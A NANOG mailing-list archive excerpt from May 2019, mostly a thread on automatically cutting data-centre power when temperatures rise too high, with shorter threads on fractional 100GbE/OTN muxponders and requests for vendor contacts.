normally-open circuit that closed when you > hit any one of the buttons placed around the room and at the exits. > > Or indeed, if the fire suppression system triggered. > - Brian > >> On Mon, May 27, 2019 at 06:10:49PM -0400, Brandon Ross wrote: >>> On Mon, 27 May 2019, Brian Kantor wrote: >>> >>> A simple air conditioner thermostat wired to the EPO switch. >>> For safety, wire two thermostats in series so BOTH have to trip >>> before power is shut off. >> >> Admittedly it's been a long time since I worked with basic circuitry, but >> wouldn't wiring them in series cause the circuit to be interrupted if >> EITHER thermostat tripped? >> >> -- >> Brandon Ross Yahoo: BrandonNRoss >> Voice: +1-404-635-6667 ICQ: 2269442 >> Signal Secure SMS, Viber, Whatsapp: +1-404-644-9628 Skype: brandonross >> Schedule a meeting: http://www.doodle.com/bross From kaze0010 at umn.edu Tue May 28 00:41:38 2019 From: kaze0010 at umn.edu (Haudy Kazemi) Date: Mon, 27 May 2019 19:41:38 -0500 Subject: Power cut if temps are too high In-Reply-To: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> Message-ID: Where granular temperature readings are available to control scripts, it would also be possible to implement something like the tiers described below. Adjust thresholds as deemed appropriate for the facility and equipment, and also for the expected rates of temperature rise. System peformance throttling and/or quiescing may also be ways to reduce load (and thus cooling requirements and heat build up rates) during periods of reduced or completely lost cooling capacity). 1.) Elevated temperature watch at 77 F / 25 C. Send alerts to on-call staff but take no other action. 2.) Elevated temperature warning at 81.5 F / 27.5 C. Begin performance throttling and engage other measures to reduce heat buildup to compensate for insufficient cooling capacity. 3.) Elevated temperature severe warning at 86 F / 30 C. Begin automated clean system shutdowns. 4.) Critical temperature limit exceeded at 95 F / 35 C. Trigger EPO to protect hardware. On sensor redundancy: 3x or higher redundancy allows for voting methods to be used to rule out potential false readings. On series vs parallel wiring: either can be used...what makes most sense depends on the design of the system being integrated with (basically NC vs NO). On Mon, May 27, 2019, 13:18 Mel Beckman wrote: > We use Intermapper, an SNMP network monitoring system, which supports UNIX > scripting. Intermapper probes two Weathergoose temperature sensors, and > calls a script with the values it retrieves. When both sensors exceed a > certain threshold, the script sends an snmp relay trip signal to the > Weathergoosen, which close a pair of dry contacts wired in series to the > emergency power off contacts for the whole-room UPS. > > We chose to use two sensors and two dry contact relays to protect against > false trips, and thus false shut downs. Before the trigger temperature is > reached, the NMS would have sent various escalating alarms to on call > staffers, who hopefully would intervene before this point. This protection > is for the worst case scenario where nobody responds and the equipment is > at risk of damage. > > We could have commanded an orderly shut down to all servers, but decided > that it would be better to kill the power in the event of a runaway heat > vent than to try to make it through all the disk activity necessary for a > clean shut down. > > This system has triggered one time, successfully shutting down the data > center on a holiday weekend when people missed their notifications, and > undoubtedly saved a lot of hard drives. When we got to the room the > temperature was over 115°, but the power was cut at 95°. > > -mel > > On May 27, 2019, at 11:01 AM, Dovid Bender wrote: > > Hi, > > Is anyone aware of a device that will cut the power if the room goes above > X degrees? I am looking for something as a just in case. > > Regards, > > Dovid > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From owen at delong.com Tue May 28 04:46:43 2019 From: owen at delong.com (Owen DeLong) Date: Mon, 27 May 2019 21:46:43 -0700 Subject: Power cut if temps are too high In-Reply-To: References: <20190527181554.GA77216@meow.BKantor.net> Message-ID: <410C48A4-D3CA-441D-A828-30085B6F7028@delong.com> > On May 27, 2019, at 15:10 , Brandon Ross wrote: > > On Mon, 27 May 2019, Brian Kantor wrote: > >> A simple air conditioner thermostat wired to the EPO switch. >> For safety, wire two thermostats in series so BOTH have to trip >> before power is shut off. > > Admittedly it's been a long time since I worked with basic circuitry, but wouldn't wiring them in series cause the circuit to be interrupted if EITHER thermostat tripped? > An EPO works by shunting a pulled-up line to ground. If you wire them in series, then the ground has to be shunted to the first segment which is then fed to the ground side of the second switch which until it is closed will not shunt the pulled up line to ground. GND———[contact-closure-1]————[contact-closuer-2]—————EPO Owen From web at typo.org Tue May 28 07:13:39 2019 From: web at typo.org (Wayne Bouchard) Date: Tue, 28 May 2019 00:13:39 -0700 Subject: Power cut if temps are too high In-Reply-To: <0B2B0CA2-D4FA-4794-AD17-F7E9309EBC88@beckman.org> References: <20190527181554.GA77216@meow.BKantor.net> <0B2B0CA2-D4FA-4794-AD17-F7E9309EBC88@beckman.org> Message-ID: <20190528071339.GA20005@spider.typo.org> Time Delay Relays are available with fixed or variable settings. if you're going the mechanical approach vs scripted monitor and SNMP sort of trigger, you can use this to cause a standard relay or SCR to trip to raise the alarm (and hopefully also flash a warning light and/or audibly sound an alert where people are supposed to be) when both sensors read positive and then have the TDR do its thing when the timer expires. Word of caution though... any system like this needs to have some sort of a reset and bypass in case anyone can actually catch it before it goes down and restore environmentals rather than taking the hard outage since that alone does lots of damage to equipment that has been in place for a good while. You also probably ought to make sure that the present state of said system and its pieces are visible so you can make sure you're going to restart correctly. -Wayne On Mon, May 27, 2019 at 06:20:36PM +0000, Mel Beckman wrote: > We considered this approach, but we wanted to have notifications precede shut down, and give a remote support person the ability to prevent the shut down. Our SNMP based system gives us that option. > > -mel > > > On May 27, 2019, at 11:16 AM, Brian Kantor wrote: > > > > A simple air conditioner thermostat wired to the EPO switch. > > For safety, wire two thermostats in series so BOTH have to trip > > before power is shut off. > > > > Note that the EPO rarely does an orderly shutdown, but then this > > is a sort of an emergency. > > - Brian > > > > > >> On Mon, May 27, 2019 at 02:00:39PM -0400, Dovid Bender wrote: > >> Hi, > >> > >> Is anyone aware of a device that will cut the power if the room goes above X > >> degrees? I am looking for something as a just in case. > >> > >> > >> Regards, > >> > >> Dovid > >> --- Wayne Bouchard web at typo.org Network Dude http://www.typo.org/~web/ From ximaera at gmail.com Tue May 28 09:17:48 2019 From: ximaera at gmail.com (=?UTF-8?Q?T=C3=B6ma_Gavrichenkov?=) Date: Tue, 28 May 2019 12:17:48 +0300 Subject: China Telecom people at NANOG 75 Message-ID: Peace, There was some sales manager at the San Francisco meeting, from China Telecom, whom I had a chat with. I have lost their business card since then, and the attendee list for the 75th meeting is already missing from cvent dot com. If they are reading the mailing list, then I'd ask them to drop me a message off-list. Have a good day. | Töma Gavrichenkov | gpg: 2deb 97b1 0a3c 151d b67f 1ee5 00e7 94bc 4d08 9191 | mailto: ximaera at gmail.com | fb: ximaera | telegram: xima_era | skype: xima_era | tel. no: +7 916 515 49 58 From jerome at ceriz.fr Tue May 28 10:41:56 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Tue, 28 May 2019 12:41:56 +0200 Subject: Flexible OTN / fractional 100GbE Message-ID: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> Hi NaNOG ! I'm looking for a muxponder that would take OTU4s on the network side and provide 10/40/100GbE on the client side, with some kind of oversubscription, as to provide a "fractional 100GbE" e.g. starting with 30-60Gbps commit that could be upgraded to 100GbE when network capacity is available. Is that something feasible at a decent price ? I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN support in addition to ethernet now, is there some vendor who leverages this, preferably with OCP gear ? Thanks ! -- Jérôme Nicolle +33 6 19 31 27 14 From jason+nanog at lixfeld.ca Tue May 28 11:02:13 2019 From: jason+nanog at lixfeld.ca (Jason Lixfeld) Date: Tue, 28 May 2019 07:02:13 -0400 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> Message-ID: <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> > On May 28, 2019, at 6:41 AM, Jérôme Nicolle wrote: > > Hi NaNOG ! > > I'm looking for a muxponder that would take OTU4s on the network side > and provide 10/40/100GbE on the client side, with some kind of > oversubscription, as to provide a "fractional 100GbE" e.g. starting with > 30-60Gbps commit that could be upgraded to 100GbE when network capacity > is available. > > Is that something feasible at a decent price ? > > I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN > support in addition to ethernet now, is there some vendor who leverages > this, preferably with OCP gear ? Hi, IP Infusion’s OcNOS is geared towards OCP gear, and while it’s not exactly what you’re looking for, they recently published[1] a note pertaining to IPoDWDM, so I could see them having maybe already done something along the lines of what you’re asking about, or they may have plans to. [1] https://www.ipinfusion.com/news-events/ip-infusion-qualifies-inphi-colorz-in-its-latest-release-of-the-ocnos-network-operating-system/ From bellman at nsc.liu.se Tue May 28 13:12:59 2019 From: bellman at nsc.liu.se (Thomas Bellman) Date: Tue, 28 May 2019 15:12:59 +0200 Subject: Power cut if temps are too high In-Reply-To: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> Message-ID: <6cd0a719-62a0-3b58-6139-40f3fb386234@nsc.liu.se> On 2019-05-27 18:18 +0000, Mel Beckman wrote: > Before the trigger temperature is reached, the NMS would have sent > various escalating alarms to on call staffers, who hopefully would > intervene before this point. Would they actually have time to react and do something? In our datacenters, we reach our cut-off temperature in about 20 minutes if cooling stops. > This system has triggered one time, successfully shutting down the data > center on a holiday weekend when people missed their notifications, and > undoubtedly saved a lot of hard drives. When we got to the room the > temperature was over 115°, but the power was cut at 95°. Presumably that was °F, not °C. I have heard from people who did *not* have automatic cutting of the power at high temperatures. Their computer room reached 100°C in places; some keyboards apparently looked like a certain Salvador Dali painting afterwards... (But I think they had very few actual servers or disk drives breaking.) The reason it didn't get even hotter, was that as temperature rose, servers started overheating and shut them- selves down, thus lowering power disippation more and more. Our system for cutting power at high temperatures is part of the PLC monitoring power and temperature in the computer rooms. It sends a signal to the large breakers connecting the power subcentrals (where all the 16A fuses are) to the power rail feeding the room. I believe our PLCs are from Schneider Electric, but anyone who delivers PLCs for controlling power and cooling in a datacenter should be capable or programming their PLCs to do the same. You just need to remember putting it in the specifications when you contract the building. :-) /Bellman -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: OpenPGP digital signature URL: From warren at kumari.net Tue May 28 13:45:41 2019 From: warren at kumari.net (Warren Kumari) Date: Tue, 28 May 2019 13:45:41 +0000 Subject: Power cut if temps are too high In-Reply-To: <6cd0a719-62a0-3b58-6139-40f3fb386234@nsc.liu.se> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> <6cd0a719-62a0-3b58-6139-40f3fb386234@nsc.liu.se> Message-ID: I used to work for a small, fairly crappy ISP -- the "datacenter" was a converted brick garage / loading dock. In order to provide cooling, they had chipped out a bunch of bricks, and mounted in 8 or so AC units, all in a line. We monitored everything with WhatsUp Gold[0] - one (hot) night I'm oncall, and at 3:30AM I get an alert that the environmental sensors on one of the routers thinks it's too hot. I'm tired and grumpy, and it's only slightly too hot, so I ack it and go back to bed. A short while later I get paged again - another router now thinks it is uncomfortably warm. Still grumpy, so I ack that too, and back to bed. Sure enough, 20 minutes later, another page.... Fine, I get dressed, drive over to the location -- and realize that bricks / mortar are strong in compression, but weak in tension - the AC window units have been quietly vibrating for many years, and the entire row of bricks above the AC units has popped out. All the AC units are lying outside the building on the grass, still running.... :-) I stared at them for a bit, unsure what to do -- so I turned them off, bumped up the monitoring levels, and went back to bed... Next day we blocked up the hole, installed some temporary chillers, and then finally installed real colling.... There isn't much point to this story, but I've got a cold, and wanted to share... :-P W [0]: Wow, I just realized that WUG still exists... huh. On Tue, May 28, 2019 at 9:13 AM Thomas Bellman wrote: > > On 2019-05-27 18:18 +0000, Mel Beckman wrote: > > > Before the trigger temperature is reached, the NMS would have sent > > various escalating alarms to on call staffers, who hopefully would > > intervene before this point. > > Would they actually have time to react and do something? In our > datacenters, we reach our cut-off temperature in about 20 minutes > if cooling stops. > > > > This system has triggered one time, successfully shutting down the data > > center on a holiday weekend when people missed their notifications, and > > undoubtedly saved a lot of hard drives. When we got to the room the > > temperature was over 115°, but the power was cut at 95°. > > Presumably that was °F, not °C. > > I have heard from people who did *not* have automatic cutting of the > power at high temperatures. Their computer room reached 100°C in > places; some keyboards apparently looked like a certain Salvador Dali > painting afterwards... (But I think they had very few actual servers > or disk drives breaking.) The reason it didn't get even hotter, was > that as temperature rose, servers started overheating and shut them- > selves down, thus lowering power disippation more and more. > > > Our system for cutting power at high temperatures is part of the PLC > monitoring power and temperature in the computer rooms. It sends a > signal to the large breakers connecting the power subcentrals (where > all the 16A fuses are) to the power rail feeding the room. I believe > our PLCs are from Schneider Electric, but anyone who delivers PLCs > for controlling power and cooling in a datacenter should be capable > or programming their PLCs to do the same. You just need to remember > putting it in the specifications when you contract the building. :-) > > > /Bellman > -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From nick at foobar.org Tue May 28 13:58:06 2019 From: nick at foobar.org (Nick Hilliard) Date: Tue, 28 May 2019 14:58:06 +0100 Subject: Power cut if temps are too high In-Reply-To: References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> <6cd0a719-62a0-3b58-6139-40f3fb386234@nsc.liu.se> Message-ID: <1e041684-bac6-70c3-c7ff-a217aadcdacd@foobar.org> Warren Kumari wrote on 28/05/2019 14:45: > There isn't much point to this story, but I've got a cold, and wanted > to share...:-P whoever brought this cold to the RIPE meeting and infected a bunch of us has a lot to answer for, damn them. :-( Nick From lstewart at inap.com Mon May 27 19:52:21 2019 From: lstewart at inap.com (Landon Stewart) Date: Mon, 27 May 2019 19:52:21 +0000 Subject: Power cut if temps are too high In-Reply-To: References: Message-ID: On May 27, 2019, at 11:00 AM, Dovid Bender wrote: > > Hi, > > Is anyone aware of a device that will cut the power if the room goes above X degrees? I am looking for something as a just in case. I would personally make one with an ESP32 (micro controller with wifi) and a (normally closed) relay. You could trigger it to open the circuit when the temperature is too high. Did a quick google for this and found something to at least explain wtf I’m talking about: https://techtutorialsx.com/2018/02/17/esp32-arduino-controlling-a-relay/ -- Landon Stewart Lead Analyst - Abuse and Security Management INAP® 📧 lstewart at inap.com 🌍 www.inap.com -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: Message signed with OpenPGP URL: From jerome at ceriz.fr Tue May 28 15:12:38 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Tue, 28 May 2019 17:12:38 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> Message-ID: <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> Hello Jason, Thanks for your answer. Le 28/05/2019 à 13:02, Jason Lixfeld a écrit : > IP Infusion’s OcNOS is geared towards OCP gear, and while it’s not > exactly what you’re looking for, I didn't see any mention of OTN in their software's specs. OTN is important for this project because we'd need many of its features in terms of FEC, monitoring and low jitter. > they recently published[1] a note > pertaining to IPoDWDM, so I could see them having maybe already done > something along the lines of what you’re asking about, or they may > have plans to. We're not really working on the optical side of things, it's really just about replacing Ethernet wherever it's relevant. Regionnal to long-haul P2P links for that matter. Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From sam at circlenet.us Tue May 28 17:21:50 2019 From: sam at circlenet.us (sam at circlenet.us) Date: Tue, 28 May 2019 13:21:50 -0400 Subject: Anyone from OpenDNS Message-ID: <427eaa4ddd7fcbbad08885d517bcef7d@circlenet.us> Good afternoon list, Anyone on the list from OpenDNS willing to contact me offlist? Somehow my $dayjobs SSL cert if being munged on your service. Thank you Sam Moats From bzs at theworld.com Tue May 28 19:18:03 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Tue, 28 May 2019 15:18:03 -0400 Subject: Power cut if temps are too high In-Reply-To: References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> Message-ID: <23789.35179.442531.459739@gargle.gargle.HOWL> Something to keep in mind is that some equipment, disks in particular, should only be cooled at a certain rate once they're hot, often annoyingly slow by the specs like 2-3 degrees C per hour but there are probably circuits sensitive to this also which could be anywhere. It came up because it happened to me in Cambridge, MA in the dead of winter and every helpful person in the building came by to suggest I just open windows and doors to the snowy outdoors to get things running sooner. It should be in the specs and if you're concerned about equipment running in too hot an environment you might be concerned about this also. Particularly after a forced power-down which also powers down equipment fans while the chips etc are still hot so will continue heating cases. Ambient air temperature might not be telling you the whole story is the point. I keep one of those big 5' fans, looks like something they use in Hollywood for windstorms and feels a bit like it on high, for just this sort of reason tho even if I just think it's getting warm, and several smaller fans to point at racks etc. The best thing you can do if it gets too hot is keep the air moving. (Where to plug the fans in after a power shutdown is your problem, I knew someone would think that!) -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From owen at delong.com Wed May 29 02:56:26 2019 From: owen at delong.com (Owen DeLong) Date: Tue, 28 May 2019 19:56:26 -0700 Subject: Power cut if temps are too high In-Reply-To: <23789.35179.442531.459739@gargle.gargle.HOWL> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> <23789.35179.442531.459739@gargle.gargle.HOWL> Message-ID: <9D9F69BE-5348-4EE9-9152-3894C4813862@delong.com> It’s unlikely to apply to much of anything in a datacenter other than disks. The reason it applies to disks is because rapid cooling of a drive will lead to uneven cooling of the platters which may cause abnormal stresses leading to shattering and/or warpage (depending on the material the drive platters are made from). Most electronic components can tolerate a pretty steep thermal curve in either direction so long as the curve doesn’t take them out of spec one way or the other. Also, most circuit boards and the like do not have enough mass to surface area ratio to lead to significant temperature differentials within a small physical distance. Owen > On May 28, 2019, at 12:18 , bzs at theworld.com wrote: > > > Something to keep in mind is that some equipment, disks in particular, > should only be cooled at a certain rate once they're hot, often > annoyingly slow by the specs like 2-3 degrees C per hour but there are > probably circuits sensitive to this also which could be anywhere. > > It came up because it happened to me in Cambridge, MA in the dead of > winter and every helpful person in the building came by to suggest I > just open windows and doors to the snowy outdoors to get things > running sooner. > > It should be in the specs and if you're concerned about equipment > running in too hot an environment you might be concerned about this > also. Particularly after a forced power-down which also powers down > equipment fans while the chips etc are still hot so will continue > heating cases. > > Ambient air temperature might not be telling you the whole story is > the point. > > I keep one of those big 5' fans, looks like something they use in > Hollywood for windstorms and feels a bit like it on high, for just > this sort of reason tho even if I just think it's getting warm, and > several smaller fans to point at racks etc. > > The best thing you can do if it gets too hot is keep the air moving. > > (Where to plug the fans in after a power shutdown is your problem, I > knew someone would think that!) > > -- > -Barry Shein > > Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com > Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD > The World: Since 1989 | A Public Information Utility | *oo* From bzs at theworld.com Wed May 29 04:27:39 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Wed, 29 May 2019 00:27:39 -0400 Subject: Power cut if temps are too high In-Reply-To: <9D9F69BE-5348-4EE9-9152-3894C4813862@delong.com> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> <23789.35179.442531.459739@gargle.gargle.HOWL> <9D9F69BE-5348-4EE9-9152-3894C4813862@delong.com> Message-ID: <23790.2619.938519.434096@gargle.gargle.HOWL> On May 28, 2019 at 19:56 owen at delong.com (Owen DeLong) wrote: > It’s unlikely to apply to much of anything in a datacenter other than disks. Ok, disks, a mere bagatelle of a concern. Then again obviously disks have gotten much, much better about thermal change since people in, e.g., temperate climates might take their laptops' running disks from a long, frigid walk into a warm building. There was a time when you weren't supposed to move a disk while it was still spinning (e.g., hot swaps had to be able to cut power before removal so you could give the heads several seconds to stop and park), not sure how they solved that so completely, again, laptops. > The reason it applies to disks is because rapid cooling of a drive will lead to uneven cooling of the platters which may cause abnormal stresses leading to shattering and/or warpage (depending on the material the drive platters are made from). Also head clearances and other moving parts tolerances. > > Most electronic components can tolerate a pretty steep thermal curve in either direction so long as the curve doesn’t take them out of spec one way or the other. > > Also, most circuit boards and the like do not have enough mass to surface area ratio to lead to significant temperature differentials within a small physical distance. Then again if you're cooling a room from, say, 115F to 70F you only need one excuse to consider the rate of cooling and disks would be a pretty good excuse. SSDs no doubt are obsoleting even that concern. But I still tend to worry about the relationship of resistance to temperature in circuits as a general principle tho perhaps in the likely range it's not a major concern. Anyhow, IT'S WORTH A THOUGHT if something extreme happens to temperatures in your machine room. You might not want to fling open the doors and windows of a 110+F room to 0F outside air and begin turning everything back on as the room's air thermometer begins to register 70F a few minutes later. Water condensation can also be a concern, after a prolonged A/C failure it may be hot and humid in the room depending on the climate etc. File Under: MORE THINGS TO WORRY ABOUT! > Owen > > > > On May 28, 2019, at 12:18 , bzs at theworld.com wrote: > > > > > > Something to keep in mind is that some equipment, disks in particular, > > should only be cooled at a certain rate once they're hot, often > > annoyingly slow by the specs like 2-3 degrees C per hour but there are > > probably circuits sensitive to this also which could be anywhere. > > > > It came up because it happened to me in Cambridge, MA in the dead of > > winter and every helpful person in the building came by to suggest I > > just open windows and doors to the snowy outdoors to get things > > running sooner. > > > > It should be in the specs and if you're concerned about equipment > > running in too hot an environment you might be concerned about this > > also. Particularly after a forced power-down which also powers down > > equipment fans while the chips etc are still hot so will continue > > heating cases. > > > > Ambient air temperature might not be telling you the whole story is > > the point. > > > > I keep one of those big 5' fans, looks like something they use in > > Hollywood for windstorms and feels a bit like it on high, for just > > this sort of reason tho even if I just think it's getting warm, and > > several smaller fans to point at racks etc. > > > > The best thing you can do if it gets too hot is keep the air moving. > > > > (Where to plug the fans in after a power shutdown is your problem, I > > knew someone would think that!) > > > > -- > > -Barry Shein > > > > Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com > > Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD > > The World: Since 1989 | A Public Information Utility | *oo* > -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From owen at delong.com Wed May 29 06:31:12 2019 From: owen at delong.com (Owen DeLong) Date: Tue, 28 May 2019 23:31:12 -0700 Subject: Power cut if temps are too high In-Reply-To: <23790.2619.938519.434096@gargle.gargle.HOWL> References: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> <23789.35179.442531.459739@gargle.gargle.HOWL> <9D9F69BE-5348-4EE9-9152-3894C4813862@delong.com> <23790.2619.938519.434096@gargle.gargle.HOWL> Message-ID: <456C0948-31EC-4970-B7AF-F1188555F110@delong.com> > On May 28, 2019, at 21:27 , bzs at theworld.com wrote: > > > On May 28, 2019 at 19:56 owen at delong.com (Owen DeLong) wrote: >> It’s unlikely to apply to much of anything in a datacenter other than disks. > > Ok, disks, a mere bagatelle of a concern. > > Then again obviously disks have gotten much, much better about thermal > change since people in, e.g., temperate climates might take their > laptops' running disks from a long, frigid walk into a warm building. > > There was a time when you weren't supposed to move a disk while it was > still spinning (e.g., hot swaps had to be able to cut power before > removal so you could give the heads several seconds to stop and park), > not sure how they solved that so completely, again, laptops. A big part of solving this was smaller platters. Remember, platters from the time you’re talking about were somewhere between 5.25” diameter and 14” or even 19” diameter in some cases. Platters were usually made of fairly rigid steel and the heads were separated from the platters by air cushions and Bernouli’s principal and very very little else. Today’s disk drives have the heads much closer to the media, but the media is a lot less sensitive to brief head contact. The media is often on thin flexible plastic substrates and the separation of the heads is often purely mechanical. Head insertion and parking mechanisms have changed quite a bit as well, allowing for much sturdier gantries (the head assembly is now usually mounted on a triangular gantry with an arced side where the actuators connect. This allows a significantly larger amount of material to be used in constructing the gantry and the heads travel in an arc across the media instead of in a linear motion as was common in older drives. > >> The reason it applies to disks is because rapid cooling of a drive will lead to uneven cooling of the platters which may cause abnormal stresses leading to shattering and/or warpage (depending on the material the drive platters are made from). > > Also head clearances and other moving parts tolerances. Well, the primary thing that’s going to cause you grief for abrupt temperature changes is when the platters warp, resulting in reduced head clearance (possibly even negative head clearance). In the case of some glass platters, shattering will also make for a really bad day. > >> >> Most electronic components can tolerate a pretty steep thermal curve in either direction so long as the curve doesn’t take them out of spec one way or the other. >> >> Also, most circuit boards and the like do not have enough mass to surface area ratio to lead to significant temperature differentials within a small physical distance. > > Then again if you're cooling a room from, say, 115F to 70F you only > need one excuse to consider the rate of cooling and disks would be a > pretty good excuse. > > SSDs no doubt are obsoleting even that concern. > > But I still tend to worry about the relationship of resistance to > temperature in circuits as a general principle tho perhaps in the > likely range it's not a major concern. Modern resistors don’t tend to move as much as in the past. However, even for that, as long as you don’t exceed the operating temperature thresholds at either end, you should be fine. The rate of cooling/heating isn’t really an issue for that. > Anyhow, IT'S WORTH A THOUGHT if something extreme happens to > temperatures in your machine room. If you get out of tolerance, then there are lots of things to think about. If you’re within allowed operating range for your equipment, lots less. Rate of change, as I said, is the one that’s unique to disk drives due to the high mass to surface area ratio and the tight mechanical tolerances. > You might not want to fling open the doors and windows of a 110+F room > to 0F outside air and begin turning everything back on as the room's > air thermometer begins to register 70F a few minutes later. Yep… If you’ve got spinning media, that’s probably not the best plan. For solid state stuff, it’s probably OK as long as you don’t leave the door open until the room starts to drop below 10ºC. > Water condensation can also be a concern, after a prolonged A/C > failure it may be hot and humid in the room depending on the climate > etc. Truth. If you create a new weather pattern inside the datacenter, you’re conducting some form of experiment likely to yield “interesting” results. Owen > > File Under: MORE THINGS TO WORRY ABOUT! > >> Owen >> >> >>> On May 28, 2019, at 12:18 , bzs at theworld.com wrote: >>> >>> >>> Something to keep in mind is that some equipment, disks in particular, >>> should only be cooled at a certain rate once they're hot, often >>> annoyingly slow by the specs like 2-3 degrees C per hour but there are >>> probably circuits sensitive to this also which could be anywhere. >>> >>> It came up because it happened to me in Cambridge, MA in the dead of >>> winter and every helpful person in the building came by to suggest I >>> just open windows and doors to the snowy outdoors to get things >>> running sooner. >>> >>> It should be in the specs and if you're concerned about equipment >>> running in too hot an environment you might be concerned about this >>> also. Particularly after a forced power-down which also powers down >>> equipment fans while the chips etc are still hot so will continue >>> heating cases. >>> >>> Ambient air temperature might not be telling you the whole story is >>> the point. >>> >>> I keep one of those big 5' fans, looks like something they use in >>> Hollywood for windstorms and feels a bit like it on high, for just >>> this sort of reason tho even if I just think it's getting warm, and >>> several smaller fans to point at racks etc. >>> >>> The best thing you can do if it gets too hot is keep the air moving. >>> >>> (Where to plug the fans in after a power shutdown is your problem, I >>> knew someone would think that!) >>> >>> -- >>> -Barry Shein >>> >>> Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com >>> Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD >>> The World: Since 1989 | A Public Information Utility | *oo* >> > > -- > -Barry Shein > > Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com > Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD > The World: Since 1989 | A Public Information Utility | *oo* -------------- next part -------------- An HTML attachment was scrubbed... URL: From tom at ninjabadger.net Wed May 29 13:18:27 2019 From: tom at ninjabadger.net (Tom Hill) Date: Wed, 29 May 2019 14:18:27 +0100 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> Message-ID: <67db48a5-6372-6093-a4ab-8fd7f66a1cd3@ninjabadger.net> On 28/05/2019 11:41, Jérôme Nicolle wrote: > I'm looking for a muxponder that would take OTU4s on the network side > and provide 10/40/100GbE on the client side, with some kind of > oversubscription, as to provide a "fractional 100GbE" e.g. starting with > 30-60Gbps commit that could be upgraded to 100GbE when network capacity > is available. When I was looking at something like this, this time last year, I got as far as Packet Light: https://www.packetlight.com/products/100g-200g-dwdm-transport/200g-single-wavelength-muxponder A big part of my usecase was reselling the spare capacity, so I really didn't want anything learning MACs at either end. :) > I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN > support in addition to ethernet now, is there some vendor who leverages > this, preferably with OCP gear ? Unsure about those product lines, but I believe the Facebook (Adva?) "Voyager" fits the 'open' bill. Here's a PDF specific to running Cumulus on it: https://cumulusnetworks.com/documents/553/2018-03-07_DS_Voyager.pdf HTH, -- Tom From jerome at ceriz.fr Wed May 29 14:09:49 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Wed, 29 May 2019 16:09:49 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <67db48a5-6372-6093-a4ab-8fd7f66a1cd3@ninjabadger.net> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <67db48a5-6372-6093-a4ab-8fd7f66a1cd3@ninjabadger.net> Message-ID: <4bff5eab-5b84-8c2a-187f-c5dd5b0d95eb@ceriz.fr> Hi Tom, Le 29/05/2019 à 15:18, Tom Hill a écrit : > A big part of my usecase was reselling the spare capacity, so I really > didn't want anything learning MACs at either end. :) Also tried with packetlight, but they offer no support for ODUFlex and didn't implement latency/jitter monitoring. Also configuration through their WebUI is mandatory, so no possible automation. Kind of a dealbreaker nowadays. > Unsure about those product lines, but I believe the Facebook (Adva?) > "Voyager" fits the 'open' bill. Here's a PDF specific to running Cumulus > on it: I don't find what I need there. I just want to plug an OTU4 uplink in a standard QSFP28 port, no fancy photonics are required, and benefit from inband monitoring and management, FEC and trafic isolation. It would idealy be represented in ONL or Cumulus as a new type of interfaces, with OSC and every muxponded ODU as sub-interfaces, and a new type of bridge to patch them to other ODUs or map them to ethernet service ports… Every sub-if having SNMP OIDs for load, FEC reporting and latency measurement. I hope it's a bit more clear now ? Best 